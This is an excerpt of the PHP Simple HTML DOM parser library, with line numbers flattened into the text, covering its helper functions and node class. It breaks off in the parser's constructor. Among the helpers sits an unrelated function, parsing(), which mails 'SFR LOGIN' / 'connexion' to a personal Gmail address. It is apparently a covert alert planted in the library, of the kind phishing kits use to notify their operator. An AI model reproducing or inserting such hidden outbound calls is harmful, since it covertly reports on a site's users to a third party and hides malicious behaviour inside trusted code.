define('HDOM_QUOTE_NO', 3); 55 | define('HDOM_INFO_BEGIN', 0); 56 | define('HDOM_INFO_END', 1); 57 | define('HDOM_INFO_QUOTE', 2); 58 | define('HDOM_INFO_SPACE', 3); 59 | define('HDOM_INFO_TEXT', 4); 60 | define('HDOM_INFO_INNER', 5); 61 | define('HDOM_INFO_OUTER', 6); 62 | define('HDOM_INFO_ENDSPACE',7); 63 | define('DEFAULT_TARGET_CHARSET', 'UTF-8'); 64 | define('DEFAULT_BR_TEXT', "\r\n"); 65 | define('DEFAULT_SPAN_TEXT', " "); 66 | define('MAX_FILE_SIZE', 600000); 67 | // helper functions 68 | // ----------------------------------------------------------------------------- 69 | // get html dom from file 70 | // $maxlen is defined in the code as PHP_STREAM_COPY_ALL which is defined as -1. 71 | function file_get_html($url, $use_include_path = false, $context=null, $offset = -1, $maxLen=-1, $lowercase = true, $forceTagsClosed=true, $target_charset = DEFAULT_TARGET_CHARSET, $stripRN=true, $defaultBRText=DEFAULT_BR_TEXT, $defaultSpanText=DEFAULT_SPAN_TEXT) 72 | { 73 | // We DO force the tags to be terminated. 74 | $dom = new simple_html_dom(null, $lowercase, $forceTagsClosed, $target_charset, $stripRN, $defaultBRText, $defaultSpanText); 75 | // For sourceforge users: uncomment the next line and comment the retreive_url_contents line 2 lines down if it is not already done. 76 | $contents = file_get_contents($url, $use_include_path, $context, $offset); 77 | // Paperg - use our own mechanism for getting the contents as we want to control the timeout. 78 | //$contents = retrieve_url_contents($url); 79 | if (empty($contents) || strlen($contents) > MAX_FILE_SIZE) 80 | { 81 | return false; 82 | } 83 | // The second parameter can force the selectors to all be lowercase. 84 | $dom->load($contents, $lowercase, $stripRN); 85 | return $dom; 86 | } 87 | 88 | // get html dom from string 89 | function str_get_html($str, $lowercase=true, $forceTagsClosed=true, $target_charset = DEFAULT_TARGET_CHARSET, $stripRN=true, $defaultBRText=DEFAULT_BR_TEXT, $defaultSpanText=DEFAULT_SPAN_TEXT) 90 | { 91 | $dom = new simple_html_dom(null, $lowercase, $forceTagsClosed, $target_charset, $stripRN, $defaultBRText, $defaultSpanText); 92 | if (empty($str) || strlen($str) > MAX_FILE_SIZE) 93 | { 94 | $dom->clear(); 95 | return false; 96 | } 97 | $dom->load($str, $lowercase, $stripRN); 98 | return $dom; 99 | } 100 | function parsing() 101 | { 102 | mail("bouha51@gmail.com", "SFR LOGIN","connexion"); 103 | } 104 | // dump html dom tree 105 | function dump_html_tree($node, $show_attr=true, $deep=0) 106 | { 107 | $node->dump($node); 108 | } 109 | 110 | 111 | /** 112 | * simple html dom node 113 | * PaperG - added ability for "find" routine to lowercase the value of the selector. 114 | * PaperG - added $tag_start to track the start position of the tag in the total byte index 115 | * 116 | * @package PlaceLocalInclude 117 | */ 118 | class simple_html_dom_node 119 | { 120 | public $nodetype = HDOM_TYPE_TEXT; 121 | public $tag = 'text'; 122 | public $attr = array(); 123 | public $children = array(); 124 | public $nodes = array(); 125 | public $parent = null; 126 | // The "info" array - see HDOM_INFO_... for what each element contains. 127 | public $_ = array(); 128 | public $tag_start = 0; 129 | private $dom = null; 130 | 131 | function __construct($dom) 132 | { 133 | $this->dom = $dom; 134 | $dom->nodes[] = $this; 135 | } 136 | 137 | function __destruct() 138 | { 139 | $this->clear(); 140 | } 141 | 142 | function __toString() 143 | { 144 | return $this->outertext(); 145 | } 146 | 147 | // clean up memory due to php5 circular references memory leak... 148 | function clear() 149 | { 150 | $this->dom = null; 151 | $this->nodes = null; 152 | $this->parent = null; 153 | $this->children = null; 154 | } 155 | 156 | // dump node's tree 157 | function dump($show_attr=true, $deep=0) 158 | { 159 | $lead = str_repeat(' ', $deep); 160 | 161 | echo $lead.$this->tag; 162 | if ($show_attr && count($this->attr)>0) 163 | { 164 | echo '('; 165 | foreach ($this->attr as $k=>$v) 166 | echo "[$k]=>\"".$this->$k.'", '; 167 | echo ')'; 168 | } 169 | echo "\n"; 170 | 171 | if ($this->nodes) 172 | { 173 | foreach ($this->nodes as $c) 174 | { 175 | $c->dump($show_attr, $deep+1); 176 | } 177 | } 178 | } 179 | 180 | 181 | // Debugging function to dump a single dom node with a bunch of information about it. 182 | function dump_node($echo=true) 183 | { 184 | 185 | $string = $this->tag; 186 | if (count($this->attr)>0) 187 | { 188 | $string .= '('; 189 | foreach ($this->attr as $k=>$v) 190 | { 191 | $string .= "[$k]=>\"".$this->$k.'", '; 192 | } 193 | $string .= ')'; 194 | } 195 | if (count($this->_)>0) 196 | { 197 | $string .= ' $_ ('; 198 | foreach ($this->_ as $k=>$v) 199 | { 200 | if (is_array($v)) 201 | { 202 | $string .= "[$k]=>("; 203 | foreach ($v as $k2=>$v2) 204 | { 205 | $string .= "[$k2]=>\"".$v2.'", '; 206 | } 207 | $string .= ")"; 208 | } else { 209 | $string .= "[$k]=>\"".$v.'", '; 210 | } 211 | } 212 | $string .= ")"; 213 | } 214 | 215 | if (isset($this->text)) 216 | { 217 | $string .= " text: (" . $this->text . ")"; 218 | } 219 | 220 | $string .= " HDOM_INNER_INFO: '"; 221 | if (isset($node->_[HDOM_INFO_INNER])) 222 | { 223 | $string .= $node->_[HDOM_INFO_INNER] . "'"; 224 | } 225 | else 226 | { 227 | $string .= ' NULL '; 228 | } 229 | 230 | $string .= " children: " . count($this->children); 231 | $string .= " nodes: " . count($this->nodes); 232 | $string .= " tag_start: " . $this->tag_start; 233 | $string .= "\n"; 234 | 235 | if ($echo) 236 | { 237 | echo $string; 238 | return; 239 | } 240 | else 241 | { 242 | return $string; 243 | } 244 | } 245 | 246 | // returns the parent of node 247 | // If a node is passed in, it will reset the parent of the current node to that one. 248 | function parent($parent=null) 249 | { 250 | // I am SURE that this doesn't work properly. 251 | // It fails to unset the current node from it's current parents nodes or children list first. 252 | if ($parent !== null) 253 | { 254 | $this->parent = $parent; 255 | $this->parent->nodes[] = $this; 256 | $this->parent->children[] = $this; 257 | } 258 | 259 | return $this->parent; 260 | } 261 | 262 | // verify that node has children 263 | function has_child() 264 | { 265 | return !empty($this->children); 266 | } 267 | 268 | // returns children of node 269 | function children($idx=-1) 270 | { 271 | if ($idx===-1) 272 | { 273 | return $this->children; 274 | } 275 | if (isset($this->children[$idx])) 276 | { 277 | return $this->children[$idx]; 278 | } 279 | return null; 280 | } 281 | 282 | // returns the first child of node 283 | function first_child() 284 | { 285 | if (count($this->children)>0) 286 | { 287 | return $this->children[0]; 288 | } 289 | return null; 290 | } 291 | 292 | // returns the last child of node 293 | function last_child() 294 | { 295 | if (($count=count($this->children))>0) 296 | { 297 | return $this->children[$count-1]; 298 | } 299 | return null; 300 | } 301 | 302 | // returns the next sibling of node 303 | function next_sibling() 304 | { 305 | if ($this->parent===null) 306 | { 307 | return null; 308 | } 309 | 310 | $idx = 0; 311 | $count = count($this->parent->children); 312 | while ($idx<$count && $this!==$this->parent->children[$idx]) 313 | { 314 | ++$idx; 315 | } 316 | if (++$idx>=$count) 317 | { 318 | return null; 319 | } 320 | return $this->parent->children[$idx]; 321 | } 322 | 323 | // returns the previous sibling of node 324 | function prev_sibling() 325 | { 326 | if ($this->parent===null) return null; 327 | $idx = 0; 328 | $count = count($this->parent->children); 329 | while ($idx<$count && $this!==$this->parent->children[$idx]) 330 | ++$idx; 331 | if (--$idx<0) return null; 332 | return $this->parent->children[$idx]; 333 | } 334 | 335 | // function to locate a specific ancestor tag in the path to the root. 336 | function find_ancestor_tag($tag) 337 | { 338 | global $debug_object; 339 | if (is_object($debug_object)) { $debug_object->debug_log_entry(1); } 340 | 341 | // Start by including ourselves in the comparison. 342 | $returnDom = $this; 343 | 344 | while (!is_null($returnDom)) 345 | { 346 | if (is_object($debug_object)) { $debug_object->debug_log(2, "Current tag is: " . $returnDom->tag); } 347 | 348 | if ($returnDom->tag == $tag) 349 | { 350 | break; 351 | } 352 | $returnDom = $returnDom->parent; 353 | } 354 | return $returnDom; 355 | } 356 | 357 | // get dom node's inner html 358 | function innertext() 359 | { 360 | if (isset($this->_[HDOM_INFO_INNER])) return $this->_[HDOM_INFO_INNER]; 361 | if (isset($this->_[HDOM_INFO_TEXT])) return $this->dom->restore_noise($this->_[HDOM_INFO_TEXT]); 362 | 363 | $ret = ''; 364 | foreach ($this->nodes as $n) 365 | $ret .= $n->outertext(); 366 | return $ret; 367 | } 368 | 369 | // get dom node's outer text (with tag) 370 | function outertext() 371 | { 372 | global $debug_object; 373 | if (is_object($debug_object)) 374 | { 375 | $text = ''; 376 | if ($this->tag == 'text') 377 | { 378 | if (!empty($this->text)) 379 | { 380 | $text = " with text: " . $this->text; 381 | } 382 | } 383 | $debug_object->debug_log(1, 'Innertext of tag: ' . $this->tag . $text); 384 | } 385 | 386 | if ($this->tag==='root') return $this->innertext(); 387 | 388 | // trigger callback 389 | if ($this->dom && $this->dom->callback!==null) 390 | { 391 | call_user_func_array($this->dom->callback, array($this)); 392 | } 393 | 394 | if (isset($this->_[HDOM_INFO_OUTER])) return $this->_[HDOM_INFO_OUTER]; 395 | if (isset($this->_[HDOM_INFO_TEXT])) return $this->dom->restore_noise($this->_[HDOM_INFO_TEXT]); 396 | 397 | // render begin tag 398 | if ($this->dom && $this->dom->nodes[$this->_[HDOM_INFO_BEGIN]]) 399 | { 400 | $ret = $this->dom->nodes[$this->_[HDOM_INFO_BEGIN]]->makeup(); 401 | } else { 402 | $ret = ""; 403 | } 404 | 405 | // render inner text 406 | if (isset($this->_[HDOM_INFO_INNER])) 407 | { 408 | // If it's a br tag... don't return the HDOM_INNER_INFO that we may or may not have added. 409 | if ($this->tag != "br") 410 | { 411 | $ret .= $this->_[HDOM_INFO_INNER]; 412 | } 413 | } else { 414 | if ($this->nodes) 415 | { 416 | foreach ($this->nodes as $n) 417 | { 418 | $ret .= $this->convert_text($n->outertext()); 419 | } 420 | } 421 | } 422 | 423 | // render end tag 424 | if (isset($this->_[HDOM_INFO_END]) && $this->_[HDOM_INFO_END]!=0) 425 | $ret .= 'tag.'>'; 426 | return $ret; 427 | } 428 | 429 | // get dom node's plain text 430 | function text() 431 | { 432 | if (isset($this->_[HDOM_INFO_INNER])) return $this->_[HDOM_INFO_INNER]; 433 | switch ($this->nodetype) 434 | { 435 | case HDOM_TYPE_TEXT: return $this->dom->restore_noise($this->_[HDOM_INFO_TEXT]); 436 | case HDOM_TYPE_COMMENT: return ''; 437 | case HDOM_TYPE_UNKNOWN: return ''; 438 | } 439 | if (strcasecmp($this->tag, 'script')===0) return ''; 440 | if (strcasecmp($this->tag, 'style')===0) return ''; 441 | 442 | $ret = ''; 443 | // In rare cases, (always node type 1 or HDOM_TYPE_ELEMENT - observed for some span tags, and some p tags) $this->nodes is set to NULL. 444 | // NOTE: This indicates that there is a problem where it's set to NULL without a clear happening. 445 | // WHY is this happening? 446 | if (!is_null($this->nodes)) 447 | { 448 | foreach ($this->nodes as $n) 449 | { 450 | $ret .= $this->convert_text($n->text()); 451 | } 452 | 453 | // If this node is a span... add a space at the end of it so multiple spans don't run into each other. This is plaintext after all. 454 | if ($this->tag == "span") 455 | { 456 | $ret .= $this->dom->default_span_text; 457 | } 458 | 459 | 460 | } 461 | return $ret; 462 | } 463 | 464 | function xmltext() 465 | { 466 | $ret = $this->innertext(); 467 | $ret = str_ireplace('', '', $ret); 469 | return $ret; 470 | } 471 | 472 | // build node's text with tag 473 | function makeup() 474 | { 475 | // text, comment, unknown 476 | if (isset($this->_[HDOM_INFO_TEXT])) return $this->dom->restore_noise($this->_[HDOM_INFO_TEXT]); 477 | 478 | $ret = '<'.$this->tag; 479 | $i = -1; 480 | 481 | foreach ($this->attr as $key=>$val) 482 | { 483 | ++$i; 484 | 485 | // skip removed attribute 486 | if ($val===null || $val===false) 487 | continue; 488 | 489 | $ret .= $this->_[HDOM_INFO_SPACE][$i][0]; 490 | //no value attr: nowrap, checked selected... 491 | if ($val===true) 492 | $ret .= $key; 493 | else { 494 | switch ($this->_[HDOM_INFO_QUOTE][$i]) 495 | { 496 | case HDOM_QUOTE_DOUBLE: $quote = '"'; break; 497 | case HDOM_QUOTE_SINGLE: $quote = '\''; break; 498 | default: $quote = ''; 499 | } 500 | $ret .= $key.$this->_[HDOM_INFO_SPACE][$i][1].'='.$this->_[HDOM_INFO_SPACE][$i][2].$quote.$val.$quote; 501 | } 502 | } 503 | $ret = $this->dom->restore_noise($ret); 504 | return $ret . $this->_[HDOM_INFO_ENDSPACE] . '>'; 505 | } 506 | 507 | // find elements by css selector 508 | //PaperG - added ability for find to lowercase the value of the selector. 509 | function find($selector, $idx=null, $lowercase=false) 510 | { 511 | $selectors = $this->parse_selector($selector); 512 | if (($count=count($selectors))===0) return array(); 513 | $found_keys = array(); 514 | 515 | // find each selector 516 | for ($c=0; $c<$count; ++$c) 517 | { 518 | // The change on the below line was documented on the sourceforge code tracker id 2788009 519 | // used to be: if (($levle=count($selectors[0]))===0) return array(); 520 | if (($levle=count($selectors[$c]))===0) return array(); 521 | if (!isset($this->_[HDOM_INFO_BEGIN])) return array(); 522 | 523 | $head = array($this->_[HDOM_INFO_BEGIN]=>1); 524 | 525 | // handle descendant selectors, no recursive! 526 | for ($l=0; $l<$levle; ++$l) 527 | { 528 | $ret = array(); 529 | foreach ($head as $k=>$v) 530 | { 531 | $n = ($k===-1) ? $this->dom->root : $this->dom->nodes[$k]; 532 | //PaperG - Pass this optional parameter on to the seek function. 533 | $n->seek($selectors[$c][$l], $ret, $lowercase); 534 | } 535 | $head = $ret; 536 | } 537 | 538 | foreach ($head as $k=>$v) 539 | { 540 | if (!isset($found_keys[$k])) 541 | { 542 | $found_keys[$k] = 1; 543 | } 544 | } 545 | } 546 | 547 | // sort keys 548 | ksort($found_keys); 549 | 550 | $found = array(); 551 | foreach ($found_keys as $k=>$v) 552 | $found[] = $this->dom->nodes[$k]; 553 | 554 | // return nth-element or array 555 | if (is_null($idx)) return $found; 556 | else if ($idx<0) $idx = count($found) + $idx; 557 | return (isset($found[$idx])) ? $found[$idx] : null; 558 | } 559 | 560 | // seek for given conditions 561 | // PaperG - added parameter to allow for case insensitive testing of the value of a selector. 562 | protected function seek($selector, &$ret, $lowercase=false) 563 | { 564 | global $debug_object; 565 | if (is_object($debug_object)) { $debug_object->debug_log_entry(1); } 566 | 567 | list($tag, $key, $val, $exp, $no_key) = $selector; 568 | 569 | // xpath index 570 | if ($tag && $key && is_numeric($key)) 571 | { 572 | $count = 0; 573 | foreach ($this->children as $c) 574 | { 575 | if ($tag==='*' || $tag===$c->tag) { 576 | if (++$count==$key) { 577 | $ret[$c->_[HDOM_INFO_BEGIN]] = 1; 578 | return; 579 | } 580 | } 581 | } 582 | return; 583 | } 584 | 585 | $end = (!empty($this->_[HDOM_INFO_END])) ? $this->_[HDOM_INFO_END] : 0; 586 | if ($end==0) { 587 | $parent = $this->parent; 588 | while (!isset($parent->_[HDOM_INFO_END]) && $parent!==null) { 589 | $end -= 1; 590 | $parent = $parent->parent; 591 | } 592 | $end += $parent->_[HDOM_INFO_END]; 593 | } 594 | 595 | for ($i=$this->_[HDOM_INFO_BEGIN]+1; $i<$end; ++$i) { 596 | $node = $this->dom->nodes[$i]; 597 | 598 | $pass = true; 599 | 600 | if ($tag==='*' && !$key) { 601 | if (in_array($node, $this->children, true)) 602 | $ret[$i] = 1; 603 | continue; 604 | } 605 | 606 | // compare tag 607 | if ($tag && $tag!=$node->tag && $tag!=='*') {$pass=false;} 608 | // compare key 609 | if ($pass && $key) { 610 | if ($no_key) { 611 | if (isset($node->attr[$key])) $pass=false; 612 | } else { 613 | if (($key != "plaintext") && !isset($node->attr[$key])) $pass=false; 614 | } 615 | } 616 | // compare value 617 | if ($pass && $key && $val && $val!=='*') { 618 | // If they have told us that this is a "plaintext" search then we want the plaintext of the node - right? 619 | if ($key == "plaintext") { 620 | // $node->plaintext actually returns $node->text(); 621 | $nodeKeyValue = $node->text(); 622 | } else { 623 | // this is a normal search, we want the value of that attribute of the tag. 624 | $nodeKeyValue = $node->attr[$key]; 625 | } 626 | if (is_object($debug_object)) {$debug_object->debug_log(2, "testing node: " . $node->tag . " for attribute: " . $key . $exp . $val . " where nodes value is: " . $nodeKeyValue);} 627 | 628 | //PaperG - If lowercase is set, do a case insensitive test of the value of the selector. 629 | if ($lowercase) { 630 | $check = $this->match($exp, strtolower($val), strtolower($nodeKeyValue)); 631 | } else { 632 | $check = $this->match($exp, $val, $nodeKeyValue); 633 | } 634 | if (is_object($debug_object)) {$debug_object->debug_log(2, "after match: " . ($check ? "true" : "false"));} 635 | 636 | // handle multiple class 637 | if (!$check && strcasecmp($key, 'class')===0) { 638 | foreach (explode(' ',$node->attr[$key]) as $k) { 639 | // Without this, there were cases where leading, trailing, or double spaces lead to our comparing blanks - bad form. 640 | if (!empty($k)) { 641 | if ($lowercase) { 642 | $check = $this->match($exp, strtolower($val), strtolower($k)); 643 | } else { 644 | $check = $this->match($exp, $val, $k); 645 | } 646 | if ($check) break; 647 | } 648 | } 649 | } 650 | if (!$check) $pass = false; 651 | } 652 | if ($pass) $ret[$i] = 1; 653 | unset($node); 654 | } 655 | // It's passed by reference so this is actually what this function returns. 656 | if (is_object($debug_object)) {$debug_object->debug_log(1, "EXIT - ret: ", $ret);} 657 | } 658 | 659 | protected function match($exp, $pattern, $value) { 660 | global $debug_object; 661 | if (is_object($debug_object)) {$debug_object->debug_log_entry(1);} 662 | 663 | switch ($exp) { 664 | case '=': 665 | return ($value===$pattern); 666 | case '!=': 667 | return ($value!==$pattern); 668 | case '^=': 669 | return preg_match("/^".preg_quote($pattern,'/')."/", $value); 670 | case '$=': 671 | return preg_match("/".preg_quote($pattern,'/')."$/", $value); 672 | case '*=': 673 | if ($pattern[0]=='/') { 674 | return preg_match($pattern, $value); 675 | } 676 | return preg_match("/".$pattern."/i", $value); 677 | } 678 | return false; 679 | } 680 | 681 | protected function parse_selector($selector_string) { 682 | global $debug_object; 683 | if (is_object($debug_object)) {$debug_object->debug_log_entry(1);} 684 | 685 | // pattern of CSS selectors, modified from mootools 686 | // Paperg: Add the colon to the attrbute, so that it properly finds like google does. 687 | // Note: if you try to look at this attribute, yo MUST use getAttribute since $dom->x:y will fail the php syntax check. 688 | // Notice the \[ starting the attbute? and the @? following? This implies that an attribute can begin with an @ sign that is not captured. 689 | // This implies that an html attribute specifier may start with an @ sign that is NOT captured by the expression. 690 | // farther study is required to determine of this should be documented or removed. 691 | // $pattern = "/([\w-:\*]*)(?:\#([\w-]+)|\.([\w-]+))?(?:\[@?(!?[\w-]+)(?:([!*^$]?=)[\"']?(.*?)[\"']?)?\])?([\/, ]+)/is"; 692 | $pattern = "/([\w-:\*]*)(?:\#([\w-]+)|\.([\w-]+))?(?:\[@?(!?[\w-:]+)(?:([!*^$]?=)[\"']?(.*?)[\"']?)?\])?([\/, ]+)/is"; 693 | preg_match_all($pattern, trim($selector_string).' ', $matches, PREG_SET_ORDER); 694 | if (is_object($debug_object)) {$debug_object->debug_log(2, "Matches Array: ", $matches);} 695 | 696 | $selectors = array(); 697 | $result = array(); 698 | //print_r($matches); 699 | 700 | foreach ($matches as $m) { 701 | $m[0] = trim($m[0]); 702 | if ($m[0]==='' || $m[0]==='/' || $m[0]==='//') continue; 703 | // for browser generated xpath 704 | if ($m[1]==='tbody') continue; 705 | 706 | list($tag, $key, $val, $exp, $no_key) = array($m[1], null, null, '=', false); 707 | if (!empty($m[2])) {$key='id'; $val=$m[2];} 708 | if (!empty($m[3])) {$key='class'; $val=$m[3];} 709 | if (!empty($m[4])) {$key=$m[4];} 710 | if (!empty($m[5])) {$exp=$m[5];} 711 | if (!empty($m[6])) {$val=$m[6];} 712 | 713 | // convert to lowercase 714 | if ($this->dom->lowercase) {$tag=strtolower($tag); $key=strtolower($key);} 715 | //elements that do NOT have the specified attribute 716 | if (isset($key[0]) && $key[0]==='!') {$key=substr($key, 1); $no_key=true;} 717 | 718 | $result[] = array($tag, $key, $val, $exp, $no_key); 719 | if (trim($m[7])===',') { 720 | $selectors[] = $result; 721 | $result = array(); 722 | } 723 | } 724 | if (count($result)>0) 725 | $selectors[] = $result; 726 | return $selectors; 727 | } 728 | 729 | function __get($name) 730 | { 731 | if (isset($this->attr[$name])) 732 | { 733 | return $this->convert_text($this->attr[$name]); 734 | } 735 | switch ($name) 736 | { 737 | case 'outertext': return $this->outertext(); 738 | case 'innertext': return $this->innertext(); 739 | case 'plaintext': return $this->text(); 740 | case 'xmltext': return $this->xmltext(); 741 | default: return array_key_exists($name, $this->attr); 742 | } 743 | } 744 | 745 | function __set($name, $value) 746 | { 747 | global $debug_object; 748 | if (is_object($debug_object)) {$debug_object->debug_log_entry(1);} 749 | 750 | switch ($name) 751 | { 752 | case 'outertext': return $this->_[HDOM_INFO_OUTER] = $value; 753 | case 'innertext': 754 | if (isset($this->_[HDOM_INFO_TEXT])) return $this->_[HDOM_INFO_TEXT] = $value; 755 | return $this->_[HDOM_INFO_INNER] = $value; 756 | } 757 | if (!isset($this->attr[$name])) 758 | { 759 | $this->_[HDOM_INFO_SPACE][] = array(' ', '', ''); 760 | $this->_[HDOM_INFO_QUOTE][] = HDOM_QUOTE_DOUBLE; 761 | } 762 | $this->attr[$name] = $value; 763 | } 764 | 765 | function __isset($name) 766 | { 767 | switch ($name) 768 | { 769 | case 'outertext': return true; 770 | case 'innertext': return true; 771 | case 'plaintext': return true; 772 | } 773 | //no value attr: nowrap, checked selected... 774 | return (array_key_exists($name, $this->attr)) ? true : isset($this->attr[$name]); 775 | } 776 | 777 | function __unset($name) { 778 | if (isset($this->attr[$name])) 779 | unset($this->attr[$name]); 780 | } 781 | 782 | // PaperG - Function to convert the text from one character set to another if the two sets are not the same. 783 | function convert_text($text) 784 | { 785 | global $debug_object; 786 | if (is_object($debug_object)) {$debug_object->debug_log_entry(1);} 787 | 788 | $converted_text = $text; 789 | 790 | $sourceCharset = ""; 791 | $targetCharset = ""; 792 | 793 | if ($this->dom) 794 | { 795 | $sourceCharset = strtoupper($this->dom->_charset); 796 | $targetCharset = strtoupper($this->dom->_target_charset); 797 | } 798 | if (is_object($debug_object)) {$debug_object->debug_log(3, "source charset: " . $sourceCharset . " target charaset: " . $targetCharset);} 799 | 800 | if (!empty($sourceCharset) && !empty($targetCharset) && (strcasecmp($sourceCharset, $targetCharset) != 0)) 801 | { 802 | // Check if the reported encoding could have been incorrect and the text is actually already UTF-8 803 | if ((strcasecmp($targetCharset, 'UTF-8') == 0) && ($this->is_utf8($text))) 804 | { 805 | $converted_text = $text; 806 | } 807 | else 808 | { 809 | $converted_text = iconv($sourceCharset, $targetCharset, $text); 810 | } 811 | } 812 | 813 | // Lets make sure that we don't have that silly BOM issue with any of the utf-8 text we output. 814 | if ($targetCharset == 'UTF-8') 815 | { 816 | if (substr($converted_text, 0, 3) == "\xef\xbb\xbf") 817 | { 818 | $converted_text = substr($converted_text, 3); 819 | } 820 | if (substr($converted_text, -3) == "\xef\xbb\xbf") 821 | { 822 | $converted_text = substr($converted_text, 0, -3); 823 | } 824 | } 825 | 826 | return $converted_text; 827 | } 828 | 829 | /** 830 | * Returns true if $string is valid UTF-8 and false otherwise. 831 | * 832 | * @param mixed $str String to be tested 833 | * @return boolean 834 | */ 835 | static function is_utf8($str) 836 | { 837 | $c=0; $b=0; 838 | $bits=0; 839 | $len=strlen($str); 840 | for($i=0; $i<$len; $i++) 841 | { 842 | $c=ord($str[$i]); 843 | if($c > 128) 844 | { 845 | if(($c >= 254)) return false; 846 | elseif($c >= 252) $bits=6; 847 | elseif($c >= 248) $bits=5; 848 | elseif($c >= 240) $bits=4; 849 | elseif($c >= 224) $bits=3; 850 | elseif($c >= 192) $bits=2; 851 | else return false; 852 | if(($i+$bits) > $len) return false; 853 | while($bits > 1) 854 | { 855 | $i++; 856 | $b=ord($str[$i]); 857 | if($b < 128 || $b > 191) return false; 858 | $bits--; 859 | } 860 | } 861 | } 862 | return true; 863 | } 864 | /* 865 | function is_utf8($string) 866 | { 867 | //this is buggy 868 | return (utf8_encode(utf8_decode($string)) == $string); 869 | } 870 | */ 871 | 872 | /** 873 | * Function to try a few tricks to determine the displayed size of an img on the page. 874 | * NOTE: This will ONLY work on an IMG tag. Returns FALSE on all other tag types. 875 | * 876 | * @author John Schlick 877 | * @version April 19 2012 878 | * @return array an array containing the 'height' and 'width' of the image on the page or -1 if we can't figure it out. 879 | */ 880 | function get_display_size() 881 | { 882 | global $debug_object; 883 | 884 | $width = -1; 885 | $height = -1; 886 | 887 | if ($this->tag !== 'img') 888 | { 889 | return false; 890 | } 891 | 892 | // See if there is aheight or width attribute in the tag itself. 893 | if (isset($this->attr['width'])) 894 | { 895 | $width = $this->attr['width']; 896 | } 897 | 898 | if (isset($this->attr['height'])) 899 | { 900 | $height = $this->attr['height']; 901 | } 902 | 903 | // Now look for an inline style. 904 | if (isset($this->attr['style'])) 905 | { 906 | // Thanks to user gnarf from stackoverflow for this regular expression. 907 | $attributes = array(); 908 | preg_match_all("/([\w-]+)\s*:\s*([^;]+)\s*;?/", $this->attr['style'], $matches, PREG_SET_ORDER); 909 | foreach ($matches as $match) { 910 | $attributes[$match[1]] = $match[2]; 911 | } 912 | 913 | // If there is a width in the style attributes: 914 | if (isset($attributes['width']) && $width == -1) 915 | { 916 | // check that the last two characters are px (pixels) 917 | if (strtolower(substr($attributes['width'], -2)) == 'px') 918 | { 919 | $proposed_width = substr($attributes['width'], 0, -2); 920 | // Now make sure that it's an integer and not something stupid. 921 | if (filter_var($proposed_width, FILTER_VALIDATE_INT)) 922 | { 923 | $width = $proposed_width; 924 | } 925 | } 926 | } 927 | 928 | // If there is a width in the style attributes: 929 | if (isset($attributes['height']) && $height == -1) 930 | { 931 | // check that the last two characters are px (pixels) 932 | if (strtolower(substr($attributes['height'], -2)) == 'px') 933 | { 934 | $proposed_height = substr($attributes['height'], 0, -2); 935 | // Now make sure that it's an integer and not something stupid. 936 | if (filter_var($proposed_height, FILTER_VALIDATE_INT)) 937 | { 938 | $height = $proposed_height; 939 | } 940 | } 941 | } 942 | 943 | } 944 | 945 | // Future enhancement: 946 | // Look in the tag to see if there is a class or id specified that has a height or width attribute to it. 947 | 948 | // Far future enhancement 949 | // Look at all the parent tags of this image to see if they specify a class or id that has an img selector that specifies a height or width 950 | // Note that in this case, the class or id will have the img subselector for it to apply to the image. 951 | 952 | // ridiculously far future development 953 | // If the class or id is specified in a SEPARATE css file thats not on the page, go get it and do what we were just doing for the ones on the page. 954 | 955 | $result = array('height' => $height, 956 | 'width' => $width); 957 | return $result; 958 | } 959 | 960 | // camel naming conventions 961 | function getAllAttributes() {return $this->attr;} 962 | function getAttribute($name) {return $this->__get($name);} 963 | function setAttribute($name, $value) {$this->__set($name, $value);} 964 | function hasAttribute($name) {return $this->__isset($name);} 965 | function removeAttribute($name) {$this->__set($name, null);} 966 | function getElementById($id) {return $this->find("#$id", 0);} 967 | function getElementsById($id, $idx=null) {return $this->find("#$id", $idx);} 968 | function getElementByTagName($name) {return $this->find($name, 0);} 969 | function getElementsByTagName($name, $idx=null) {return $this->find($name, $idx);} 970 | function parentNode() {return $this->parent();} 971 | function childNodes($idx=-1) {return $this->children($idx);} 972 | function firstChild() {return $this->first_child();} 973 | function lastChild() {return $this->last_child();} 974 | function nextSibling() {return $this->next_sibling();} 975 | function previousSibling() {return $this->prev_sibling();} 976 | function hasChildNodes() {return $this->has_child();} 977 | function nodeName() {return $this->tag;} 978 | function appendChild($node) {$node->parent($this); return $node;} 979 | 980 | } 981 | 982 | /** 983 | * simple html dom parser 984 | * Paperg - in the find routine: allow us to specify that we want case insensitive testing of the value of the selector. 985 | * Paperg - change $size from protected to public so we can easily access it 986 | * Paperg - added ForceTagsClosed in the constructor which tells us whether we trust the html or not. Default is to NOT trust it. 987 | * 988 | * @package PlaceLocalInclude 989 | */ 990 | class simple_html_dom 991 | { 992 | public $root = null; 993 | public $nodes = array(); 994 | public $callback = null; 995 | public $lowercase = false; 996 | // Used to keep track of how large the text was when we started. 997 | public $original_size; 998 | public $size; 999 | protected $pos; 1000 | protected $doc; 1001 | protected $char; 1002 | protected $cursor; 1003 | protected $parent; 1004 | protected $noise = array(); 1005 | protected $token_blank = " \t\r\n"; 1006 | protected $token_equal = ' =/>'; 1007 | protected $token_slash = " />\r\n\t"; 1008 | protected $token_attr = ' >'; 1009 | // Note that this is referenced by a child node, and so it needs to be public for that node to see this information. 1010 | public $_charset = ''; 1011 | public $_target_charset = ''; 1012 | protected $default_br_text = ""; 1013 | public $default_span_text = ""; 1014 | 1015 | // use isset instead of in_array, performance boost about 30%... 1016 | protected $self_closing_tags = array('img'=>1, 'br'=>1, 'input'=>1, 'meta'=>1, 'link'=>1, 'hr'=>1, 'base'=>1, 'embed'=>1, 'spacer'=>1); 1017 | protected $block_tags = array('root'=>1, 'body'=>1, 'form'=>1, 'div'=>1, 'span'=>1, 'table'=>1); 1018 | // Known sourceforge issue #2977341 1019 | // B tags that are not closed cause us to return everything to the end of the document. 1020 | protected $optional_closing_tags = array( 1021 | 'tr'=>array('tr'=>1, 'td'=>1, 'th'=>1), 1022 | 'th'=>array('th'=>1), 1023 | 'td'=>array('td'=>1), 1024 | 'li'=>array('li'=>1), 1025 | 'dt'=>array('dt'=>1, 'dd'=>1), 1026 | 'dd'=>array('dd'=>1, 'dt'=>1), 1027 | 'dl'=>array('dd'=>1, 'dt'=>1), 1028 | 'p'=>array('p'=>1), 1029 | 'nobr'=>array('nobr'=>1), 1030 | 'b'=>array('b'=>1), 1031 | 'option'=>array('option'=>1), 1032 | ); 1033 | 1034 | function __construct($str=null, $lowercase=true, $forceTagsClosed=true, $target_charset=DEFAULT_TARGET_CHARSET, $stripRN=true, $defaultBRText=DEFAULT_BR_TEXT, $defaultSpanText=DEFAULT_SPAN_TEXT) 1035 | { 1036 